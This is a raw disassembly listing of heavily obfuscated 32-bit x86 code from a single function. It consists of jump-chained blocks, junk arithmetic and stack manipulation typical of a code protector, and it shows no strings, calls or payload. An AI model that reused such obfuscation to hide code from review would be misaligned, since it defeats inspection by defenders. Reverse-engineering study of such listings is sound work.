		mov	[esp+0B2h+var_B4+2], ebx
		push	esp
		pop	ebx
		push	eax
		jmp	loc_5C4D50
; ---------------------------------------------------------------------------


loc_5C5957:				; CODE XREF: sub_5A55E5+1D2DFj
		and	ebp, 7C217B43h
		add	ebp, 34F7E17Ch
		sub	esi, ebp
		mov	ebp, [esp+76h+var_78+2]
		add	esp, 4
		add	esi, ebp
		jmp	loc_5BF903
; ---------------------------------------------------------------------------
		push	[esp+72h+var_74+2]
		push	[esp+76h+var_78+2]
		jmp	loc_5D009B
; ---------------------------------------------------------------------------


loc_5C5980:				; CODE XREF: sub_5A55E5+293DAj
		mov	ebx, ecx
		mov	ecx, [esp+7Ah+var_7C+2]
		jmp	loc_5C6BB8
; ---------------------------------------------------------------------------


loc_5C598A:				; CODE XREF: sub_5A55E5+26EA7j
		sub	eax, ebx
		pop	ebx
		jmp	loc_5C08E5
; ---------------------------------------------------------------------------


loc_5C5992:				; CODE XREF: sub_5A55E5+24130j
		add	eax, 2F9F1D53h
		sub	eax, ecx
		sub	eax, 2F9F1D53h
		jmp	loc_5CEC4B
; ---------------------------------------------------------------------------


loc_5C59A3:				; CODE XREF: sub_5A55E5+233FDj
		add	ebx, ecx
		sub	ebx, 4A4B0138h
		add	ebx, 61976315h
		sub	ebx, 1CB2002Fh
		push	dword ptr [ebx]
		pop	eax
		jmp	loc_5D1572
; ---------------------------------------------------------------------------


loc_5C59BF:				; CODE XREF: sub_5A55E5+20ECDj
		push	ebp
		push	ebx
		xor	[esp+7Eh+var_80+2], 6E1C4B1Bh
		pop	ebp
		xor	ebp, 6E1C4B1Bh
		push	ebp
		mov	esi, [esp+7Eh+var_80+2]
		push	ecx
		jmp	loc_5C0B94
; ---------------------------------------------------------------------------


loc_5C59D9:				; CODE XREF: sub_5A55E5+2BDCDj
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp+86h+var_88+2]
		push	edx
		sub	esp, 4
		mov	[esp+8Eh+var_90+2], esp
		jmp	loc_5C3AD0
; ---------------------------------------------------------------------------


loc_5C59F0:				; CODE XREF: sub_5A55E5+28109j
		mov	[esp+8Eh+var_90+2], ebx
		push	1
		push	[esp+92h+var_94+2]
		pop	ebx
		add	esp, 4
		jmp	loc_5C2F00
; ---------------------------------------------------------------------------


loc_5C5A04:				; CODE XREF: sub_5A55E5+21BDDj
		add	esi, 4
		add	esi, 4
		jmp	loc_5CE7F3
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	[esp+8Ch+var_8C], cl
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C5A21:				; CODE XREF: sub_5A55E5+2A5BFj
		inc	ecx
		or	ecx, 27B27EE9h
		push	ebp
		jmp	loc_5CEF29
; ---------------------------------------------------------------------------


loc_5C5A2E:				; CODE XREF: sub_5A55E5+1EE5Bj
		not	ebx
		xchg	eax, ebx
		sub	esp, 4
		mov	[esp+74h+var_74], edi
		mov	edi, 584E7FE2h
		shl	edi, 2
		jmp	loc_5C3BED
; ---------------------------------------------------------------------------


loc_5C5A47:				; CODE XREF: sub_5A55E5+2BDC5j
		push	small 696Eh
		mov	word ptr [esp+76h+var_78+2], bp
		jmp	loc_5CB5D0
; ---------------------------------------------------------------------------


loc_5C5A54:				; CODE XREF: sub_5A55E5+1BA66j
		sub	ecx, 1
		neg	ecx
		push	ebx
		mov	ebx, 0FCA4D3B5h
		add	ecx, 4AB03BDAh
		sub	ecx, ebx
		jmp	loc_5C8ABA
; ---------------------------------------------------------------------------


loc_5C5A6F:				; CODE XREF: sub_5A55E5+252A6j
		push	6631h
		jmp	loc_5CA093
; ---------------------------------------------------------------------------


loc_5C5A79:				; CODE XREF: sub_5A55E5+2A133j
		mov	eax, 49653A9h
		or	eax, 6A610E22h
		jmp	loc_5CB82F
; ---------------------------------------------------------------------------


loc_5C5A88:				; CODE XREF: sub_5A55E5+2903Bj
		or	ebp, 11F20C35h
		jmp	loc_5D3A40
; ---------------------------------------------------------------------------


loc_5C5A93:				; CODE XREF: sub_5A55E5+27AAAj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+9Eh+var_A0+2]
		pop	esp
		push	esi
		push	esp
		mov	esi, [esp+0A2h+var_A4+2]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+9Eh+var_A0+2]
		xor	[esp+9Eh+var_A0+2], esi
		jmp	loc_5CE776
; ---------------------------------------------------------------------------


loc_5C5AC2:				; CODE XREF: sub_5A55E5+1B180j
		mov	[esp+78h+var_78], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5CC763
; ---------------------------------------------------------------------------


loc_5C5AD2:				; CODE XREF: sub_5A55E5+2946Aj
		add	esp, 4
		push	ebp
		push	[esp+78h+var_74]
		pop	ebp
		pop	[esp+78h+var_78]
		mov	esp, [esp+74h+var_74]
		sub	[esp+74h+var_74], eax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C5AEA:				; CODE XREF: sub_5A55E5+1F62Aj
		mov	[esp+90h+var_90], esi
		push	431A71A4h
		jmp	loc_5C1BF8
; ---------------------------------------------------------------------------


loc_5C5AF7:				; CODE XREF: sub_5A55E5+276ABj
		mov	[esp+94h+var_94], eax
		mov	eax, esp
		push	esi
		mov	esi, 7275443Dh
		neg	esi
		sub	esp, 4
		mov	[esp+9Ch+var_9C], edi
		mov	edi, 6BB5AF3h
		not	edi
		jmp	loc_5C1900
; ---------------------------------------------------------------------------


loc_5C5B16:				; CODE XREF: sub_5A55E5+2893Cj
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C5B1B:				; CODE XREF: sub_5A55E5+1B9EFj
		add	ebx, 0BFD68E8h
		sub	ebx, 0B021D6Dh
		sub	ebx, 52052912h
		add	eax, ebx
		pop	ebx
		jmp	loc_5BFF0F
; ---------------------------------------------------------------------------


loc_5C5B35:				; CODE XREF: sub_5A55E5+1EEC6j
		mov	[esp+94h+var_94], edx
		mov	edx, 228B1B85h
		mov	edi, 228B1B87h
		jmp	loc_5C122A
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5D1F47
; ---------------------------------------------------------------------------


loc_5C5B4D:				; CODE XREF: sub_5A55E5+20B8Bj
		push	ebx
		mov	ebx, 1F5F6A77h
		neg	ebx
		xor	ebx, 282B315Fh
		add	ebx, 931A8C5Dh
		sub	eax, ebx
		pop	ebx
		sub	eax, ecx
		add	eax, 5BA63133h
		pop	ecx
		xchg	eax, [esp+90h+var_90]
		pop	esp
		mov	[esp+8Ch+var_8C], edx
		push	[esp+8Ch+var_8C]
		jmp	loc_5C9FCC
; ---------------------------------------------------------------------------


loc_5C5B7B:				; CODE XREF: sub_5A55E5+280F3j
		dec	ebx
		xor	ebx, 380D65FEh
		push	ecx
		jmp	loc_5CBFD7
; ---------------------------------------------------------------------------


loc_5C5B88:				; CODE XREF: sub_5A55E5+256AAj
		pop	[esp+94h+var_94]
		push	30E5h
		jmp	loc_5CD7CF
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C5B9D:				; CODE XREF: sub_5A55E5+29842j
		push	ecx
		mov	cl, 2
		sub	bl, cl
		pop	ecx
		sub	bl, al
		add	bl, 2
		sub	esp, 4
		mov	[esp+94h+var_94], edx
		push	eax
		jmp	loc_5CB61E
; ---------------------------------------------------------------------------


loc_5C5BB7:				; CODE XREF: sub_5A55E5+1AB01j
		mov	edi, 4AD84D8Ch
		sub	ebx, edi
		pop	edi
		pop	ecx
		add	ebx, ebp
		sub	ebx, 17F06AD7h
		sub	ebx, 67C60A3Ah
		pop	ebp
		add	ebx, 4
		jmp	loc_5C33FA
; ---------------------------------------------------------------------------


loc_5C5BD7:				; CODE XREF: sub_5A55E5+1CC34j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5CB85B
; ---------------------------------------------------------------------------


loc_5C5BE8:				; CODE XREF: sub_5A55E5+1D8F6j
		pop	esp
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C5BEE:				; CODE XREF: sub_5A55E5+2AD4Bj
		mov	esi, 4
		add	[esp+0B6h+var_B4+2], esi
		pop	esi
		push	[esp+0B2h+var_B4+2]
		jmp	loc_5C1C9C
; ---------------------------------------------------------------------------


loc_5C5C00:				; CODE XREF: sub_5A55E5+206D8j
		add	ebp, 22B706FEh
		add	ebp, 0C6432B56h
		jmp	loc_5C0CB7
; ---------------------------------------------------------------------------


loc_5C5C11:				; CODE XREF: sub_5A55E5+1F176j
		pop	ecx
		mov	ecx, [esp+76h+var_78+2]
		add	esp, 4
		jmp	loc_5CCC02
; ---------------------------------------------------------------------------


loc_5C5C20:				; CODE XREF: sub_5A55E5+2D73Ej
		mov	[esp+72h+var_74+2], eax
		jmp	loc_5C0792
; ---------------------------------------------------------------------------


loc_5C5C28:				; CODE XREF: sub_5A55E5+2D070j
		xor	edx, 5F530844h
		push	esi
		jmp	loc_5C7B13
; ---------------------------------------------------------------------------


loc_5C5C34:				; CODE XREF: sub_5A55E5+22BC3j
		pop	esp
		pop	[esp+72h+var_74+2]
		pop	esp
		push	dword ptr [eax]
		jmp	loc_5C8219
; ---------------------------------------------------------------------------


loc_5C5C40:				; CODE XREF: sub_5A55E5+1F81Cj
		pop	ebp
		add	ebp, 4
		push	ecx
		mov	ecx, 588F7DEBh
		add	ecx, 0A7708219h
		jmp	loc_5BFC22
; ---------------------------------------------------------------------------


loc_5C5C58:				; CODE XREF: sub_5A55E5+25F9Aj
		mov	ebp, 1
		sub	edi, ebp
		jmp	loc_5D2A0A
; ---------------------------------------------------------------------------


loc_5C5C64:				; CODE XREF: sub_5A55E5+2091Cj
		mov	ah, 51h
		and	ah, 55h
		shl	ah, 7
		neg	ah
		inc	ah
		xor	ah, 8Dh
		mov	bl, ah
		pop	eax
		jmp	loc_5C3E22
; ---------------------------------------------------------------------------


loc_5C5C7B:				; CODE XREF: sub_5A55E5+2B925j
		mov	esp, [esp+5Ch+var_5C]
		sub	esp, 4
		mov	[esp+60h+var_60], esi
		mov	esi, 351A0281h
		jmp	loc_5D071E
; ---------------------------------------------------------------------------


loc_5C5C8E:				; CODE XREF: sub_5A55E5+2E99Dj
		add	esi, 63F158B1h
		pop	ebp
		add	esi, 7912D717h
		add	ebx, 793A1D65h
		add	ebx, 39A92A03h
		add	ebx, esi
		push	esi
		jmp	loc_5CC6CF
; ---------------------------------------------------------------------------


loc_5C5CAF:				; CODE XREF: sub_5A55E5+2E15Aj
		push	esi
		push	edx
		jmp	loc_5D0CB4
; ---------------------------------------------------------------------------


loc_5C5CB6:				; CODE XREF: sub_5A55E5+1A576j
		push	ecx
		jmp	loc_5C058A
; ---------------------------------------------------------------------------


loc_5C5CBC:				; CODE XREF: sub_5A55E5+1C8F9j
		inc	ebp
		jmp	loc_5C5C00
; ---------------------------------------------------------------------------


loc_5C5CC2:				; CODE XREF: sub_5A55E5+2202Aj
		add	[esp+0BCh+var_B8], eax
		pop	eax
		pop	eax
		push	ebp
		push	eax
		push	58C6B76h
		pop	eax
		sub	eax, 4C18170Eh
		jmp	loc_5CB4F8
; ---------------------------------------------------------------------------


loc_5C5CDA:				; CODE XREF: sub_5A55E5+24EB7j
		push	28CFh
		mov	[esp+0C0h+var_C0], edx
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 2
		jmp	loc_5CBD0A
; ---------------------------------------------------------------------------


loc_5C5CF5:				; CODE XREF: sub_5A55E5+285C2j
		pop	eax
		jmp	loc_5C14C4
; ---------------------------------------------------------------------------


loc_5C5CFB:				; CODE XREF: sub_5A55E5+292BCj
		mov	ebp, [esp+0C0h+var_C0]
		add	esp, 4
		pop	[esp+0BCh+var_BC]
		mov	esp, [esp+0B8h+var_B8]
		add	ebx, eax
		add	ebx, 17AF6C15h
		push	edx
		push	esp
		pop	edx
		push	ebx
		push	edi
		push	4B65C35h
		mov	edi, [esp+0C8h+var_C8]
		jmp	loc_5CEBB6
; ---------------------------------------------------------------------------


loc_5C5D24:				; CODE XREF: sub_5A55E5+23E32j
		shr	eax, 6
		add	eax, 0FEF3B2FFh
		add	esi, eax
		mov	eax, [esp+0C8h+var_C8]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		jmp	loc_5C0F48
; ---------------------------------------------------------------------------


loc_5C5D42:				; CODE XREF: sub_5A55E5+21020j
		xor	edx, [esp+0C4h+var_C4]
		pop	esp
		mov	[esp+0C0h+var_C0], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		jmp	loc_5C38C2
; ---------------------------------------------------------------------------


loc_5C5D58:				; CODE XREF: sub_5A55E5+2D16Ej
		xor	ebx, [esp+0C4h+var_C4]
		mov	esp, [esp+0C4h+var_C4]
		push	46B9h
		mov	[esp+0C8h+var_C8], edx
		push	ebp
		mov	ebp, 217D753Ch
		mov	edx, 50E7D1A5h
		add	edx, ebp
		pop	ebp
		xor	edx, 6BF557B5h
		sub	ebx, 3B1F1C08h
		jmp	loc_5C129A
; ---------------------------------------------------------------------------


loc_5C5D85:				; CODE XREF: sub_5A55E5+2BFFDj
		xor	edx, 78414966h
		add	ebx, edx
		jmp	loc_5C4EC0
; ---------------------------------------------------------------------------


loc_5C5D92:				; CODE XREF: sub_5A55E5+2D108j
		mov	ecx, [esp+0C8h+var_C8]
		add	esp, 4
		push	ecx
		mov	ecx, 770E5ACFh
		dec	ecx
		or	ecx, 9815119h
		sub	ecx, 2CDBE74Bh
		add	eax, ecx
		pop	ecx
		add	eax, edx
		sub	eax, 52B37494h
		push	[esp+0C4h+var_C4]
		pop	edx
		add	esp, 4
		push	ebp
		mov	ebp, 5C077694h
		xor	ebp, 55951376h
		sub	ebp, 64F044C0h
		neg	ebp
		neg	ebp
		add	ebp, 684DE14Dh
		add	ebx, ebp
		mov	ebp, [esp+0C4h+var_C4]
		add	esp, 4
		push	eax
		mov	eax, 16C53773h
		add	ebx, eax
		pop	eax
		jmp	loc_5C7903
; ---------------------------------------------------------------------------


loc_5C5DEE:				; CODE XREF: sub_5A55E5+27923j
		sub	esp, 4
		mov	[esp+0C4h+var_C4], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5C173D
; ---------------------------------------------------------------------------


loc_5C5E0A:				; CODE XREF: sub_5A55E5+2925Fj
		pop	esp
		mov	[esp+0C0h+var_C0], ebp
		jmp	loc_5CA3BA
; ---------------------------------------------------------------------------


loc_5C5E13:				; CODE XREF: sub_5A55E5+1FF63j
		mov	[esp+82h+var_84+2], ecx
		push	esi
		mov	esi, 3B8239A6h
		push	ebp
		mov	ebp, 758E35F4h
		not	ebp
		jmp	loc_5C976F
; ---------------------------------------------------------------------------


loc_5C5E29:				; CODE XREF: sub_5A55E5+2E6DAj
		pop	ebp
		pop	ebx
		jmp	loc_5C9E9F
; ---------------------------------------------------------------------------


loc_5C5E30:				; CODE XREF: sub_5A55E5+1BF6Bj
		xor	ebx, [esp+50h+var_50]
		xor	[esp+50h+var_50], ebx
		jmp	loc_5CAF26
; ---------------------------------------------------------------------------


loc_5C5E3B:				; CODE XREF: sub_5A55E5+1B05Ej
		shl	ebx, 3
		neg	ebx
		add	ebx, 87AD30BCh
		jmp	loc_5CD208
; ---------------------------------------------------------------------------


loc_5C5E4B:				; CODE XREF: sub_5A55E5+29C4Aj
		mov	[esp+94h+var_94], ecx
		mov	ecx, 4
		jmp	loc_5CB705
; ---------------------------------------------------------------------------


loc_5C5E58:				; CODE XREF: sub_5A55E5+2D960j
		push	[esp+94h+var_90]
		pop	ecx
		pop	[esp+94h+var_94]
		jmp	loc_5CEC5B
; ---------------------------------------------------------------------------


loc_5C5E65:				; CODE XREF: sub_5A55E5+240D6j
		mov	ch, bh
		jmp	loc_5C4719
; ---------------------------------------------------------------------------


loc_5C5E6C:				; CODE XREF: sub_5A55E5+2B941j
		inc	[esp+90h+var_90]
		mov	edi, [esp+90h+var_90]
		jmp	loc_5CBC01
; ---------------------------------------------------------------------------


loc_5C5E77:				; CODE XREF: sub_5A55E5+1F9A7j
		pop	eax
		add	eax, esi
		pop	esi
		add	eax, 4
		xchg	eax, [esp+8Eh+var_90+2]
		mov	esp, [esp+8Eh+var_90+2]
		push	ebp
		push	[esp+92h+var_90+2]
		pop	ebp
		jmp	loc_5C8F7F
; ---------------------------------------------------------------------------


loc_5C5E91:				; CODE XREF: sub_5A55E5+1B5E0j
		pop	esp
		pop	ebp
		push	1289h
		jmp	loc_5CEEC8
; ---------------------------------------------------------------------------


loc_5C5E9D:				; CODE XREF: sub_5A55E5+2B134j
		pop	ebp
		jmp	loc_5D027D
; ---------------------------------------------------------------------------


loc_5C5EA3:				; CODE XREF: sub_5A55E5+26269j
		pop	ebp
		sub	eax, 39F908CAh
		push	dword ptr [eax]
		pop	ecx
		push	[esp+7Ah+var_7C+2]
		jmp	loc_5D38B7
; ---------------------------------------------------------------------------


loc_5C5EB4:				; CODE XREF: sub_5A55E5+24FFBj
		pop	esi
		jmp	loc_5CF347
; ---------------------------------------------------------------------------


loc_5C5EBA:				; CODE XREF: sub_5A55E5+1FB12j
		add	eax, 4
		sub	eax, 4
		jmp	loc_5C9340
; ---------------------------------------------------------------------------


loc_5C5EC7:				; CODE XREF: sub_5A55E5+1A902j
		push	6B69h
		mov	[esp+88h+var_88], esi
		mov	esi, esp
		push	ebp
		push	eax
		mov	eax, 6EAB6608h
		mov	ebp, eax
		pop	eax
		xor	ebp, 4EFA2357h
		push	ebp
		not	[esp+90h+var_90]
		pop	ebp
		add	ebp, 20514564h
		jmp	loc_5C89D0
; ---------------------------------------------------------------------------


loc_5C5EF1:				; CODE XREF: sub_5A55E5+1F2F8j
		and	bl, 47h
		shr	bl, 4
		push	2271h
		mov	[esp+9Ah+var_9C+2], edx
		push	ebx
		push	eax
		jmp	loc_5C5C64
; ---------------------------------------------------------------------------


loc_5C5F06:				; CODE XREF: sub_5A55E5+1A512j
		push	ebp
		mov	ebp, 41423E30h
		jmp	loc_5D2226
; ---------------------------------------------------------------------------


loc_5C5F11:				; CODE XREF: sub_5A55E5+24DF0j
		mov	esi, esp
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	esi
		mov	esi, 4
		jmp	loc_5D31F5
; ---------------------------------------------------------------------------


loc_5C5F27:				; CODE XREF: sub_5A55E5+200D7j
		shl	edx, 7
		jmp	loc_5C63A3
; ---------------------------------------------------------------------------


loc_5C5F2F:				; CODE XREF: sub_5A55E5+2C849j
		xchg	esi, [esp+84h+var_84]
		jmp	loc_5CF163
; ---------------------------------------------------------------------------


loc_5C5F37:				; CODE XREF: sub_5A55E5+2EA95j
		add	ecx, 4
		xchg	ecx, [esp+84h+var_84]
		pop	esp


loc_5C5F41:				; CODE XREF: sub_5A55E5+2866Bj
		push	5539h
		mov	[esp+84h+var_84], eax
		push	[esp+84h+var_84]
		push	[esp+88h+var_88]
		push	[esp+8Ch+var_8C]
		pop	eax
		sub	esp, 4
		mov	[esp+90h+var_90], eax
		push	esp
		pop	eax
		push	esi
		mov	esi, 0A5F6F1Fh
		not	esi
		sub	esi, 4A5400F8h
		jmp	loc_5C86E5
; ---------------------------------------------------------------------------


loc_5C5F6E:				; CODE XREF: sub_5A55E5+1F43Ej
		or	[edi+1Ch], ebx
		push	[esp+98h+var_98]
		mov	ebx, [esp+9Ch+var_9C]
		add	esp, 4
		push	ebx
		push	0Fh
		mov	[esp+0A0h+var_A0], esp
		add	[esp+0A0h+var_A0], 4
		pop	ebx
		push	esi
		jmp	loc_5CD59E
; ---------------------------------------------------------------------------


loc_5C5F8E:				; CODE XREF: sub_5A55E5+2E39Cj
		pop	esi
		xchg	ebp, [esp+9Ch+var_9C]
		mov	esp, [esp+9Ch+var_9C]
		push	edx
		mov	edx, 2A114AB6h
		push	esi
		mov	esi, 16697ED9h
		sub	edx, esi
		pop	esi
		shl	edx, 5
		shl	edx, 4
		push	ebx
		mov	ebx, 12D2475Dh
		shr	ebx, 7
		shl	ebx, 1
		jmp	loc_5BF915
; ---------------------------------------------------------------------------


loc_5C5FBA:				; CODE XREF: sub_5A55E5:loc_5C9A9Fj
		pop	edx
		xchg	ecx, [esp+0A0h+var_A0]
		pop	esp
		push	esp
		pop	[esp+0A0h+var_A0]
		add	[esp+9Ch+var_9C], 4
		push	[esp+9Ch+var_9C]
		push	[esp+0A0h+var_A0]
		pop	edx
		jmp	loc_5CD7A1
; ---------------------------------------------------------------------------


loc_5C5FD6:				; CODE XREF: sub_5A55E5+20F51j
		add	eax, 0FE9584F6h
		mov	edi, eax
		pop	eax
		add	[esp+9Ch+var_98], edi
		jmp	loc_5CC73E
; ---------------------------------------------------------------------------


loc_5C5FE7:				; CODE XREF: sub_5A55E5+1B9E1j
		push	ecx
		sub	esp, 4
		jmp	loc_5D266B
; ---------------------------------------------------------------------------


loc_5C5FF3:				; CODE XREF: sub_5A55E5+1C6A1j
		push	[esp+82h+var_84+2]
		pop	ebx
		push	eax
		jmp	loc_5D30BB
; ---------------------------------------------------------------------------


loc_5C5FFD:				; CODE XREF: sub_5A55E5+2D51Bj
		sub	eax, edx
		push	ecx
		mov	ecx, 1DC5308Eh
		jmp	loc_5CDD9A
; ---------------------------------------------------------------------------


loc_5C600A:				; CODE XREF: sub_5A55E5+1B953j
		push	eax
		jmp	loc_5C405C
; ---------------------------------------------------------------------------


loc_5C6010:				; CODE XREF: sub_5A55E5+1DD82j
		mov	edi, 0E5E3B6Ch
		dec	edi
		jmp	loc_5D0A21
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0B0h+var_B0]
		push	0B39h
		mov	[esp+0B4h+var_B4], ebx
		push	esp
		push	[esp+0B8h+var_B8]
		mov	ebx, [esp+0BCh+var_BC]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0C0h+var_C0]
		jmp	loc_5D20D2
; ---------------------------------------------------------------------------


loc_5C6042:				; CODE XREF: sub_5A55E5+1BE7Ej
		shr	edx, 7
		push	eax
		mov	eax, 0C3616DD9h
		add	edx, 50E93BA7h
		sub	edx, 2A4B5FE9h
		sub	edx, 24642E1Fh
		sub	edx, eax
		add	edx, 24642E1Fh
		add	edx, 2A4B5FE9h
		sub	edx, 50E93BA7h
		pop	eax
		add	edi, edx
		pop	edx
		pop	esi
		xchg	edi, [esp+82h+var_84+2]
		pop	esp
		push	ebx
		push	edx
		push	0FE224ABh
		jmp	loc_5C21B4
; ---------------------------------------------------------------------------


loc_5C6086:				; CODE XREF: sub_5A55E5+2DE45j
		push	[esp+8Ah+var_8C+2]
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp+92h+var_94+2], esi
		push	[esp+92h+var_90+2]
		pop	esi
		pop	[esp+92h+var_94+2]
		pop	esp
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C60B0:				; CODE XREF: sub_5A55E5+24B07j
		pop	esp
		sub	esp, 4
		mov	[esp+8Ah+var_8C+2], ebx
		jmp	loc_5C2A74
; ---------------------------------------------------------------------------


loc_5C60BC:				; CODE XREF: sub_5A55E5+1A60Fj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5C865B
; ---------------------------------------------------------------------------


loc_5C60CF:				; CODE XREF: sub_5A55E5+281E5j
		mov	eax, 256A6CBCh
		jmp	loc_5C6870
; ---------------------------------------------------------------------------
		neg	byte ptr [esp+9Eh+var_A0+2]
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C60E2:				; CODE XREF: sub_5A55E5+29757j
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xor	edi, [esp+0A2h+var_A4+2]
		xor	[esp+0A2h+var_A4+2], edi
		xor	edi, [esp+0A2h+var_A4+2]
		jmp	loc_5C7540
; ---------------------------------------------------------------------------


loc_5C60FF:				; CODE XREF: sub_5A55E5+25D2Fj
		xor	ebp, 37494515h
		xor	ecx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 23CF571Ah
		shl	ebp, 6
		inc	ebp
		or	ebp, 285846CCh
		shr	ebp, 5
		xor	ebp, 775BFD4Dh
		add	ecx, ebp
		pop	ebp
		dec	ecx
		push	edx
		mov	edx, 3E75D499h
		jmp	loc_5CC959
; ---------------------------------------------------------------------------


loc_5C6130:				; CODE XREF: sub_5A55E5+2B9E9j
		mov	[esp+0A2h+var_A4+2], ecx
		jmp	loc_5CEB0C
; ---------------------------------------------------------------------------


loc_5C6138:				; CODE XREF: sub_5A55E5+23023j
		dec	dh
		dec	dh
		jmp	loc_5C0A39
; ---------------------------------------------------------------------------


loc_5C6141:				; CODE XREF: sub_5A55E5+1B6E2j
		push	5924h
		mov	[esp+90h+var_90], ebp
		jmp	loc_5C9EC6
; ---------------------------------------------------------------------------


loc_5C614E:				; CODE XREF: sub_5A55E5+240E4j
		pop	eax
		not	eax
		jmp	loc_5C8388
; ---------------------------------------------------------------------------


loc_5C6156:				; CODE XREF: sub_5A55E5+1D268j
		push	49EEh
		mov	[esp+62h+var_64+2], eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp+66h+var_68+2], ecx
		mov	ecx, 4
		jmp	loc_5C5B4D
; ---------------------------------------------------------------------------


loc_5C6175:				; CODE XREF: sub_5A55E5+2B3C2j
		pop	eax
		pop	ebx
		or	eax, 187237CCh
		jmp	loc_5D1BBD
; ---------------------------------------------------------------------------


loc_5C6181:				; CODE XREF: sub_5A55E5+1C2E4j
		mov	ebp, [esp+8Ch+var_8C]
		jmp	loc_5C84FE
; ---------------------------------------------------------------------------


loc_5C6189:				; CODE XREF: sub_5A55E5+1CB89j
		pop	edx
		jmp	loc_5CB4BB
; ---------------------------------------------------------------------------


loc_5C618F:				; CODE XREF: sub_5A55E5+2543Fj
		pop	ebx
		jmp	loc_5CF886
; ---------------------------------------------------------------------------


loc_5C6195:				; CODE XREF: sub_5A55E5+21F2Bj
		add	edi, ecx
		add	edi, 18DB6EF0h
		pop	ecx
		xor	edi, 0BD45C34h
		xor	edi, 3DCB4F72h
		add	esi, edi
		pop	edi
		add	esi, 4
		xchg	esi, [esp+46h+var_46]
		pop	esp
		xor	bl, al
		jmp	loc_5CBDD4
; ---------------------------------------------------------------------------


loc_5C61BB:				; CODE XREF: sub_5A55E5+23DAEj
		sub	edi, 11E91E83h
		push	ecx
		mov	ecx, 1C48729Ch
		jmp	loc_5C29F1
; ---------------------------------------------------------------------------


loc_5C61CC:				; CODE XREF: sub_5A55E5+29F5Fj
		push	[esp+46h+var_46]
		pop	eax
		add	esp, 4
		pop	[esp+42h+var_42]
		mov	esp, [esp+3Eh+var_3E]
		jmp	loc_5CAE75
; ---------------------------------------------------------------------------


loc_5C61DE:				; CODE XREF: sub_5A55E5+29242j
		mov	esi, esp
		add	esi, 4
		jmp	loc_5CED1D
; ---------------------------------------------------------------------------


loc_5C61EB:				; CODE XREF: sub_5A55E5+294C4j
		add	edx, 33C96555h
		jmp	loc_5C874F
; ---------------------------------------------------------------------------


loc_5C61F6:				; CODE XREF: sub_5A55E5+2CA2Aj
		add	esp, 4
		xor	edx, ebp
		pop	ebp
		push	ebp
		jmp	loc_5C8340
; ---------------------------------------------------------------------------


loc_5C6205:				; CODE XREF: sub_5A55E5+2CCB6j
		and	ebp, 6C7F448Bh
		neg	ebp
		add	ebp, 0F1A3AEBh
		jmp	loc_5C0923
; ---------------------------------------------------------------------------


loc_5C6218:				; CODE XREF: sub_5A55E5+286AAj
		push	edx
		mov	edx, 2FDFF08Ch
		add	edi, edx
		pop	edx
		sub	ecx, edi
		pop	edi
		sub	ecx, 77E118B1h
		sub	ecx, ebx
		add	ecx, 77E118B1h
		push	edx
		mov	edx, 71831AB4h
		add	ecx, edx
		pop	edx
		mov	ebx, [esp+36h+var_36]
		add	esp, 4
		jmp	loc_5D28E1
; ---------------------------------------------------------------------------


loc_5C6249:				; CODE XREF: sub_5A55E5+2A35Fj
		push	edx
		push	[esp+36h+var_32]
		pop	edx
		jmp	loc_5C5062
; ---------------------------------------------------------------------------


loc_5C6254:				; CODE XREF: sub_5A55E5+1E4E6j
		push	edx
		jmp	loc_5D2FCC
; ---------------------------------------------------------------------------


loc_5C625A:				; CODE XREF: sub_5A55E5+27B12j
		pop	eax
		push	edi
		mov	edi, 0A690C72h
		jmp	loc_5C1763
; ---------------------------------------------------------------------------


loc_5C6266:				; CODE XREF: sub_5A55E5+234C5j
		mov	edi, [esp+90h+var_90]
		add	esp, 4
		pop	[esp+8Ch+var_8C]
		jmp	loc_5C09F6
; ---------------------------------------------------------------------------


loc_5C6277:				; CODE XREF: sub_5A55E5+1B644j
		xchg	ebx, [esp+92h+var_94+2]
		jmp	loc_5D2361
; ---------------------------------------------------------------------------


loc_5C627F:				; CODE XREF: sub_5A55E5+202CBj
		mov	[esp+0A0h+var_A0], ebp
		mov	ebp, 14934215h
		and	eax, ebp
		push	[esp+0A0h+var_A0]
		jmp	loc_5C37DB
; ---------------------------------------------------------------------------


loc_5C6291:				; CODE XREF: sub_5A55E5+1E26Bj
		mov	ecx, [esp+0A6h+var_A8+2]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ecx
		push	5CE1h
		jmp	loc_5C2166
; ---------------------------------------------------------------------------


loc_5C62A7:				; CODE XREF: sub_5A55E5+28F93j
		mov	edi, [esp+0B2h+var_B4+2]
		add	esp, 4
		push	edx
		mov	edx, 284B4ED4h
		add	edi, edx
		jmp	loc_5C3112
